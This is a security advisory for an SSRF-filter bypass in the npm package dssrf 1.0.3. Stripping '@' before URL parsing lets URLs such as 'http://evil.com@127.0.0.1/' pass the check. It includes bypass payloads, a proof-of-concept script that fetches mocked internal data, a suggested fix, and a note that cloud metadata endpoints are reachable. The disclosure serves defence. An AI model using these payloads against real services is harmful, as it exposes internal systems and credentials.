PT-2026-66646 · Npm · Dssrf

Published

2026-07-30

·

Updated

2026-07-30

CVSS v4.0

8.7

High

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Summary

is url safe in v1.0.3 contains an SSRF bypass. remove at symbol in string is applied to the raw URL string before new URL() parses it. This strips the @ that separates userinfo from host, corrupting the hostname so internal IPs are never checked.

Vulnerability

In helpers.ts, is url safe does:
ts
u = remove at symbol in string(u);  // strips ALL '@' from the raw string
// ...
const parsed = new URL(u);
const hostname = parsed.hostname;  // resolved from the corrupted string

What happens step by step

Input: http://evil.com@127.0.0.1/
  1. remove at symbol in string → http://evil.com127.0.0.1/
  2. new URL(...) → hostname = "evil.com127.0.0.1"
  3. Not a bare IP, not IPv6 → passes all IP checks
  4. is hostname resolve to internal ip("evil.com127.0.0.1") → NXDOMAIN → returns false
  5. Result: true (safe) — but any HTTP client using the original URL connects to 127.0.0.1

Proof of Concept

js
import nock from 'nock';
import { got } from 'got';
import { is url safe } from 'dssrf';

// Simulate an internal server at 10.0.0.1 that returns secret data
nock('http://10.0.0.1:80').persist().get('/').reply(200, 'SECRET DATA');

const BYPASS URL = 'http://2@10.0.0.1/';
const PLAIN URL = 'http://10.0.0.1/';

// dssrf should block both — it only blocks the plain one
console.log('--- dssrf validator ---');
console.log(`is url safe('${PLAIN URL}')  =`, await is url safe(PLAIN URL), '← correctly blocked');
console.log(`is url safe('${BYPASS URL}') =`, await is url safe(BYPASS URL), '← ⚠️ BYPASSED (should be false)');

// HTTP client with the bypass URL — gets SECRET DATA back from 10.0.0.1
console.log('
--- HTTP client ---');
try {
 const res = await got(BYPASS URL, { retry: { limit: 0 } });
 console.log(`got('${BYPASS URL}') response:`, res.body, '← ⚠️ VULNERABLE');
} catch (e) {
 console.log(`got('${BYPASS URL}') blocked:`, e.message);
}

Root Cause

@ in a URL separates userinfo (credentials) from host. Stripping it from the raw string before parsing destroys that boundary. The fix is to reject any URL that contains a userinfo component after parsing.

Suggested Fix

Remove the remove at symbol in string call from is url safe and add a userinfo check after new URL():
ts
const parsed = new URL(u);

// Reject userinfo — '@' in authority is a classic SSRF bypass vector
if (parsed.username !== "" || parsed.password !== "") {
 return false;
}
A working patch verified against 15 vectors (all internal IPv4 ranges, IMDS, IPv6 via userinfo, and legitimate public URLs) is ready to submit as a PR.

Impact

  • Affected version: 1.0.3 (latest)
  • Bypasses: all internal IPv4 ranges, IPv6 loopback/ULA/link-local, AWS IMDS (169.254.169.254), any internal hostname via userinfo prefix
  • Note: The GHSA-8p33-q827-ghj5 advisory patched version (1.0.3) should be updated since this vector was not covered by that fix
Users are strongly advised to upgrade to dssrf 1.0.4

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-76

Related Identifiers

GHSA-CG4G-M8JX-VJV2

Affected Products

Dssrf